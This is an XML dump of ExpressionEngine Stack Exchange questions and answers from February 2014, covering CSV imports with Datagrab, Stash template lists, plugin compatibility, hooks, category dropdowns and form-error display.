  <row Id="19765" PostTypeId="2" ParentId="19744" CreationDate="2014-02-25T22:59:11.550" Score="1" Body="&lt;p&gt;OK...progress, enough progress to be able to post an answer anyway. Turns out using Datagrab rather than Importer seemed to do the trick. Why that would make any difference whatsoever is beyond me as they're both great EE plugins. I'm open to suggestions on that one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in a nutshell, I created the Image field in the new site using File as its field type. I then imported the XML file using &lt;code&gt;{filedir_x}&lt;/code&gt;, with x being the file upload destination of choice, instead of a relative path to the image. This then populated the image in the File field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its then just a case of changing the field type of the image from File to Assets and the image will remain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its kind of a relief to know my only mistake, on the surface, was using the wrong module.&lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2014-02-25T22:59:11.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19766" PostTypeId="1" CreationDate="2014-02-26T00:26:17.880" Score="0" ViewCount="233" Body="&lt;p&gt;I have this problem with importing data from CSV&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I have CSV that contains a list people. Suppose these people have multiple phone numbers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given these assumptions, let us try this example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose there is a person named John Doe who has 2 phone numbers - one for mobile, the other is for landline&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the CSV, it would be represented as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FirstName   LastName    PhoneNumber     PhoneNumberType&#xA;...&#xA;John        Doe         12345798        mobile&#xA;John        Doe         987654321       landline&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now here is the question. How does Datagrab know that those 2 rows are the same person with 2 different numbers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for Datagrab to import these 2 numbers into Grid for that 1 person?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2015-04-13T14:34:13.187" Title="Datagrab - Importing more than one Grid row data for each row in CSV" Tags="|datagrab|csv|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19767" PostTypeId="1" CreationDate="2014-02-26T01:51:07.557" Score="1" ViewCount="125" Body="&lt;p&gt;I have got a bunch of entries in this relationship and i want to spit them out and group them by day. So, i thought i could use Stash to capture this, group them into a list for each day and the below is my sorry effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does work, but it's not appending the row of data, it's only ever one row as i guess it's creating and destroying those lists over and over. I can't see any other way to do this though. Any ideas would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;products-lessons-pool&quot;}&#xA;   {exp:stash:set_list name='{parents:products-lessons-day}' parse_tags=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot;}&#xA;&#xA;      {stash:class}{parents:products-lessons-class:title}{/stash:class}&#xA;      {stash:time}{parents:products-lessons-time format=&quot;%g:%i %a&quot;}{/stash:time}&#xA;      {stash:day}{parents:products-lessons-day}{/stash:day}&#xA;      {stash:entry_id}{parents:entry_id}{/stash:entry_id}&#xA;      {stash:price}{parents:product_price}{/stash:price}&#xA;&#xA;    {/exp:stash:set_list}&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-02-26T10:03:34.237" Title="Stash lists with a dynamic list name in a relationship loop" Tags="|stash|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19768" PostTypeId="1" CreationDate="2014-02-26T01:55:41.820" Score="1" ViewCount="90" Body="&lt;p&gt;The exp:calendar:cal tag appears to completely ignore both category parameters:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:calendar:cal category_url_title=&quot;{segment_4}&quot; date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we also set the calendar_id, then we get zero results, and we know the content is there and assigned to categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We really want to use categories to sort events so a single event could be assigned to multiple categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know the secret to making the secret to getting this tag to sort results by category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2793" LastActivityDate="2014-02-26T01:55:41.820" Title="Solspace: Calendar Month by Category" Tags="|categories|solspace|calendar|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19769" PostTypeId="1" AcceptedAnswerId="19791" CreationDate="2014-02-26T01:57:30.020" Score="1" ViewCount="211" Body="&lt;p&gt;I've found all the plugins on devot-ee.com, but none of them seem to work. Most of them seem to cause some sort of javascript conflict. The &quot;modal&quot; that the pickers use show up at the bottom of the publish form and the picker fields don't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.7.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of what it looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cl.ly/image/2t3f1W3j153k&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/2t3f1W3j153k&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-02-26T15:42:56.713" Title="Does anyone know of a working color picker plugin for Expression Engine 2.x?" Tags="|fieldtype|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19770" PostTypeId="1" CreationDate="2014-02-26T05:06:50.377" Score="1" ViewCount="287" Body="&lt;p&gt;I am aware that in sessions_start handler function, the session object is not yet set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I can't use the session object, are there alternative ways to check if you are logged in  in this function handler?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-04-27T07:01:36.567" Title="Check if user is logged-in inside sessions_start hook handler" Tags="|sessions|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19771" PostTypeId="2" ParentId="19766" CreationDate="2014-02-26T05:20:18.333" Score="3" Body="&lt;p&gt;I would imagine that a CSV is not the best way to represent this data, and that it'll prevent you from successfully importing into a Grid field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would take the CSV data and (using PHP or some other tool) reformat it into XML, which will much more readily represent the nested sets of fields in a Grid.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-26T05:20:18.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19772" PostTypeId="2" ParentId="19770" CreationDate="2014-02-26T05:24:35.137" Score="1" Body="&lt;p&gt;If there is no session, then there is no logged in user. All of the user login code runs after the sessions_start hook.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-26T05:24:35.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19773" PostTypeId="1" AcceptedAnswerId="19779" CreationDate="2014-02-26T05:46:24.637" Score="0" ViewCount="39" Body="&lt;p&gt;Is there hook in ExpressionEngine where I can change the language to be shown before the page is rendered?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-02-26T09:46:21.590" Title="EE Hook where I can change language to be displayed?" Tags="|hook|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19775" PostTypeId="1" CreationDate="2014-02-26T08:22:19.870" Score="1" ViewCount="153" Body="&lt;p&gt;Found an error caused by Mighty Big Robot's Geotagger in the EE developer's log. It seems that this issue might have existed since 2.6. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deprecated function EE_Fieldtype() called in system/expressionengine/third_party/geotagger/ft.geotagger.php on line 47.&#xA;Deprecated since 2.6. Use EE_Fieldtype::__construct() instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know anything about their update or if its easy to change the code to work to the 2.6 fieldtype? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="2733" LastActivityDate="2015-04-18T23:30:41.310" Title="Geotagger 2.6 support (EE fieldtype error in developer log)" Tags="|error|" AnswerCount="4" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19776" PostTypeId="1" CreationDate="2014-02-26T08:45:34.457" Score="0" ViewCount="709" Body="&lt;p&gt;I am developing a site that resides on a different server to where the current site resides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am accessing the site via a url such as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;http:// host.server.com.au/~username/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(So i am logging in via http:// host.server.com.au/~username/admin.php and viewing the site at eg, http:// host.server.com.au/~username/index.php/index)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is causing some issues with links/linked files so i want be be able to access the site via a specific url, such as mytempdomainsite.com.au&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried altering my hosts file in such a way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;111.222.33.44 mytempdomainsite.com.au &lt;br&gt;&#xA;111.222.33.44/~username/ mytempdomainsite.com.au&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however that does not work for me. I have also tried editing the htaccess file with rewrites (found via searching the web), and then editing my system configuration within EE but nothing seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea the steps involved in getting this to work for me. The ~username is causing me some grief, so if anyone can help with this it would be deeply appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2794" LastEditorUserId="2794" LastEditDate="2014-02-26T08:50:51.743" LastActivityDate="2014-02-26T10:26:23.620" Title="Accessing site without ~tilde (alternate domain using hosts file?)" Tags="|htaccess|server|" AnswerCount="1" CommentCount="1" ClosedDate="2014-04-30T01:32:52.677" ContentLicense="CC BY-SA 3.0" />
  <row Id="19777" PostTypeId="2" ParentId="19651" CreationDate="2014-02-26T09:04:11.637" Score="0" Body="&lt;p&gt;I've ended up having a &quot;School code&quot; on the registration process, using member custom fields. I then have a School channel which contains the school name and the code, I then check against this when pulling out articles. Lots of if else's but does the trick!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-02-26T09:04:11.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19778" PostTypeId="1" CreationDate="2014-02-26T09:09:23.847" Score="0" ViewCount="55" Body="&lt;p&gt;I've built a system for Schools which has a teacher/student hierarchy based on a custom field, I want a teacher to be able to login and view which of their students has registered with the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It basically needs to check the current logged in users custom member field &quot;School code&quot; and output any people from member group 5 that match the same &quot;School code&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know if this is possible with &#xA;{exp:member:custom_profile_data}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only seem to be able to output the current users information, is it possible to output all user's information or do I need to use something like Zoo Visitor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-02-26T09:09:23.847" Title="Outtputing all member's information" Tags="|members|custom-fields|zoo-visitor|member-details|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19779" PostTypeId="2" ParentId="19773" CreationDate="2014-02-26T09:46:21.590" Score="2" Body="&lt;p&gt;You might use &lt;code&gt;sessions_start&lt;/code&gt; hook and set language config variable within hooked function.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2014-02-26T09:46:21.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19780" PostTypeId="2" ParentId="19767" CreationDate="2014-02-26T10:03:34.237" Score="1" Body="&lt;p&gt;Oh silly me, i had the answer in a code sample on my machine already :-/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;products-lessons-pool&quot;}&#xA;      {exp:stash:append name=&quot;Monday&quot; match=&quot;#Mon#&quot; against=&quot;{parents:products-lessons-day}&quot; parse_tags=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot; refresh=&quot;86400&quot;}&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;{parents:products-lessons-class:title}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{parents:products-lessons-time format=&quot;%g:%i %a&quot;}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;a href=&quot;/cart_functions/add_to_cart/{parents:entry_id}&quot; class=&quot;button success radius&quot;&amp;gt;Buy&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;                     {parents:product_price}&#xA;                 &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;       {/exp:stash:append}&#xA; {/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-02-26T10:03:34.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19781" PostTypeId="1" CreationDate="2014-02-26T10:06:06.830" Score="1" ViewCount="137" Body="&lt;p&gt;Are there any plugins available to update the layout / available list of actions on the home screen once a user is logged in?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-02-27T03:50:56.987" Title="Is there a way to modify the CP home screen?" Tags="|add-on|control-panel|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19782" PostTypeId="1" AcceptedAnswerId="19785" CreationDate="2014-02-26T10:08:13.807" Score="1" ViewCount="920" Body="&lt;p&gt;Anyone getting “The action you have requested is invalid.&quot; On a search results page when using {exp:search:search_results} tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is EE 2.7.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**Fixed ---&#xA;Basically use a completely separate template for results don't try and route it through /search/index.php.&lt;/p&gt;&#xA;" OwnerUserId="1861" LastEditorUserId="1861" LastEditDate="2014-02-26T12:04:18.997" LastActivityDate="2014-04-27T13:04:22.313" Title="Search Results Page - The action you have requested is invalid" Tags="|search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19783" PostTypeId="2" ParentId="19781" CreationDate="2014-02-26T10:11:38.157" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/dashee&quot;&gt;dashEE&lt;/a&gt; - is fully customizable ExpressionEngine control panel dashboard alternative.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Module comes with 8 default widgets but you also have the ability to&#xA;  develop your own tailored to your needs. In addition to developing&#xA;  your own stand along widgets you can also incorporate dashEE widgets&#xA;  into your existing custom EE modules instantly making your modules&#xA;  more usable by introducing new functionality right on the EE CP&#xA;  dashboard.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-26T10:11:38.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19784" PostTypeId="2" ParentId="19776" CreationDate="2014-02-26T10:26:23.620" Score="2" Body="&lt;p&gt;.host file just overwrite DOMAIN -&gt; IP determination which usually do DNS server before you computer send request to Web server.  So you can't manipulate urls on server with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your web server (apache/nginx) must be ready to get request with domain &quot;mytempdomainsite.com.au&quot; (or have default setting for ip) and redirect to your web folder.&#xA;This is only way. After that you can route you request by htaccess.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-26T10:26:23.620" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19785" PostTypeId="2" ParentId="19782" CreationDate="2014-02-26T11:02:37.703" Score="2" Body="&lt;p&gt;The native search module, and in this case the &lt;code&gt;exp:search:search_results&lt;/code&gt; tag, expects a URL like this, assuming the tag is put in the &lt;code&gt;search/results&lt;/code&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/search/results/HASH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The hash is supposed to be &lt;em&gt;at least&lt;/em&gt; 32 characters long (alphanumeric). If the hash is not there, the error is triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hash is used to look up a submitted search query. The query has been put in the DB by submitting the search form, after which it redirects to the results page. The search hash stays valid for a limited amount of time, after which it's deleted from the DB. If EE cannot find the search query associated with the hash, the error is triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a valid query is found, it is run again. If it then has 0 results, the error is triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there's the possibility of having an expired XID token, as a result of the secure forms. This will be addressed in 2.8, but in the meantime, you can execute this query to avoid this issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_actions SET csrf_exempt = 1 WHERE class = 'Search';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, make sure all of the above conditions are met, and the error should go away.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-26T11:02:37.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19786" PostTypeId="2" ParentId="19724" CreationDate="2014-02-26T11:04:15.693" Score="4" Body="&lt;p&gt;It mainly goes down to processing order. When the order is successfully placed Store then does a little housekeeping to round off the order completion process. It will look to set a default status &lt;strong&gt;before&lt;/strong&gt; checking for any extensions latching on to the &lt;code&gt;store_order_complete_end&lt;/code&gt; hook. So walking through the process with your specific extension code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Order is completed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Set the status of the order to the default set via the CP [Received]&lt;br&gt;&#xA;2) Look for any emails associated with this status &amp;amp; send [none found so none sent]&lt;br&gt;&#xA;3) Check for extensions using the &lt;code&gt;store_order_complete_end&lt;/code&gt; hook [found your extension]&lt;br&gt;&#xA;4) Check session data and set status name to &quot;Commercial&quot; or &quot;General&quot;&lt;br&gt;&#xA;5) Update status and send any associated emails&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that is why a default email isn't getting sent. With regards to the status change then not automatically triggering any emails, are you sure you have email templates saved and linked to that status? Check in the database that the status are listed in &lt;code&gt;exp_store_statuses&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jfs2s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and associated with corresponding email_ids in &lt;code&gt;exp_store_emails&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G0D26.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could always look to try the &lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html#store_order_complete_start&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;store_order_complete_start&lt;/code&gt; hook&lt;/a&gt; which will be triggered &lt;strong&gt;before&lt;/strong&gt; the default status is set (if there is one). You shouldn't then need to set a default status if you don't want to.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-02-26T11:04:15.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19787" PostTypeId="1" AcceptedAnswerId="19793" CreationDate="2014-02-26T13:33:14.083" Score="0" ViewCount="70" Body="&lt;p&gt;I'm using Publisher for translations and also use the URL translation. Now I want to show a menu item &quot;active&quot; based on the URL. But when I get &lt;code&gt;{segment_1}&lt;/code&gt; it will return the translated template. So the make an if else statement for showing a active class, I need a lot of OR function to check all different languages. That's not how it should work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wont to know, can I get the default untranslated template name? I thought of something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{publisher:segment_1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this echo's nothing at all..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible what I want? And how to?&lt;/p&gt;&#xA;" OwnerUserId="1700" LastEditorUserId="1700" LastEditDate="2014-02-26T15:45:02.220" LastActivityDate="2014-02-26T16:31:04.290" Title="Get untranslated {segment_n} from translated URL with publisher" Tags="|multi-language|publisher|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19788" PostTypeId="2" ParentId="19757" CreationDate="2014-02-26T14:18:50.177" Score="1" Body="&lt;p&gt;You could easily do this with jquery on the front end of the site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//all pdf links with a will open in a new window&#xA;jQuery(document).ready(function() {&#xA;    jQuery(&quot;a[href$=&quot;.pdf&quot;]&quot;).attr('target', '_blank');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change the selector as needed if you only want to target pdfs on a certain page/div/ etc...&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-02-26T14:18:50.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19789" PostTypeId="2" ParentId="19689" CreationDate="2014-02-26T15:01:09.917" Score="0" Body="&lt;p&gt;I haven't used this, but it seems to have high reviews. Maybe you should try a plugin like :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-notify-control&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise I do not believe there is a way to anything like that natively in EE.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-02-26T15:01:09.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19790" PostTypeId="1" AcceptedAnswerId="19792" CreationDate="2014-02-26T15:24:22.730" Score="0" ViewCount="368" Body="&lt;p&gt;I'm having a few issues with categories at the moment that seems like it should be simple, but it is not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a category set up which contains a list of UK counties. This consists of 4 parent categories (the countries - England, Scotland, Wales &amp;amp; Ireland) and many child categories for each (the individual counties).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to output the categories into a select dropdown within a channel form, with some structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the parent categories to show as a 'non selectable' label, and the child cats organised beneath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way users can only select a single county, and the parent category should be selected as it is set to 'auto-assign' within the settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I want it to look like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pe8Bb.png&quot; alt=&quot;dropdown1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/utLjh.png&quot; alt=&quot;dropdown2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Everything I've tried (including this question &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18482/adding-category-and-subcategories-in-a-multiselect-dropdown-in-channel-form&quot;&gt;here&lt;/a&gt; and I am still unable to get it working!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The first picture was achieved via the P&amp;amp;T dropdown in a custom field)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer below got this working and I am using the following...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;Select one...&amp;lt;/option&amp;gt;&#xA;{categories}&#xA;  &amp;lt;option value=&quot;{category_id}&quot; {if &quot;{category_depth}&quot; == &quot;1&quot;}disabled{/if}{selected}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;{/categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only thing now is validating it? Is there a way to make a category required via the native (i'm using inline) error handling?&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-02-26T16:19:32.270" Title="Category dropdown in Channel Form, with parent cats as option group labels?" Tags="|categories|safecracker|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19791" PostTypeId="2" ParentId="19769" CreationDate="2014-02-26T15:42:56.713" Score="3" Body="&lt;p&gt;I found out what the issues are. The plugins simply haven't been updated for the most recent versions of EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a different locations for my third_party folder. The url in most of these plugins look for the theme directory in the default location using this url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('theme_folder_url').'third_party/plugin_folder_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, there's also a config variable avaialable for getting the defined third_party theme directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('url_third_themes').'/plugin_folder_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in any of these color picker plugins, just open the PHP file that comes with them and update the url to the theme files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a list of hidden EE config variables here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-02-26T15:42:56.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19792" PostTypeId="2" ParentId="19790" CreationDate="2014-02-26T15:57:52.793" Score="1" Body="&lt;p&gt;When outputting your category options do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option value=&quot;{category_id}&quot; {if &quot;{category_depth}&quot; == &quot;1&quot;}disabled{/if}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit (sources):&#xA;&lt;a href=&quot;http://www.w3schools.com/tags/att_option_disabled.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.w3schools.com/tags/att_option_disabled.asp&lt;/a&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/#category-depth&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/#category-depth&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-02-26T15:57:52.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19793" PostTypeId="2" ParentId="19787" CreationDate="2014-02-26T16:31:04.290" Score="1" Body="&lt;p&gt;I think you emailed me about this, and it might be a bug when that variable is inside of a snippet as it appears to work when its in a template file directly.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2014-02-26T16:31:04.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19794" PostTypeId="1" AcceptedAnswerId="19818" CreationDate="2014-02-26T16:56:23.040" Score="0" ViewCount="63" Body="&lt;p&gt;We have a website that is powered by MSM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the main website forms work fine and the form errors show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the sub-sites, the forms send but they don't show the general errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code in question is:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:freeform:composer form_name=&quot;{embed:form}&quot; admin_notify=&quot;{embed:email}|info@redcarrot.co.uk&quot; admin_notification_template=&quot;{embed:template}&quot; inline_error_return=&quot;{embed:page}/#freeform&quot; return=&quot;{embed:page}/thanks#freeform&quot; inline_errors=&quot;yes&quot;}&#xA;    {if freeform:general_errors}&#xA;        &amp;lt;h3&amp;gt;There were some error(s) with your submission:&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            {freeform:general_errors}&#xA;                &amp;lt;li&amp;gt;{if &quot;{freeform:error_message}&quot;==&quot;captcha_required&quot;}Please type the two words at the bottom of the form{if:else}{freeform:error_message}{/if}&amp;lt;/li&amp;gt;&#xA;            {/freeform:general_errors}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-02-27T11:12:05.757" Title="Freeform Composer General Errors Not Showing on MSM" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
